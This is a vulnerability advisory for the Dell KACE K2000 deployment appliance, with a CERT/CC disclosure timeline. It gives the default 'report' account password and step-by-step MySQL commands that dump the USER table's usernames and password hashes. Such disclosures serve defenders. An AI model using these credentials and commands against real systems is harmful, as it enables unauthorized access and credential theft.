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[R1] Dell KACE K2000 System Deployment Appliance Read-Only Account Default Credentials Remote Information Disclosure



Dell KACE K2000 Systems Deployment Appliance installs with default credentials for an account designed for third-party reporting applications. The 'report' account has a password of 'box747', which is publicly known and documented. This allows remote attackers to trivially gain privileged access to the web GUI, allowing for the disclosure of information including additional account usernames and password hashes.

Reproduction steps:

o Login using the read-only account designed for 3rd party reporting apps
- mysql -u report -p -h [target]
o supply the password "box747"
- run the MySQL commands:
o use KBDB
o select * from USER;


As of 2011-10-13, CERT/CC indicated that Dell was preparing to release an update. Unfortunately, the original KB posted by Dell has since been removed from the site, so it is unclear if a solution was published.

Disclosure Timeline

2011-05-03 - Vulnerability reported to CERT/CC via their online submission form, assigned VU #135606
2011-06-09 - CERT/CC acknowledges and says they're contacting Dell
2011-08-15 - Asked CERT/CC for an update
2011-10-13 - CERT/CC responds saying Dell is prepared to issue an update
2011-11-03 - Disclosed via CERT/CC

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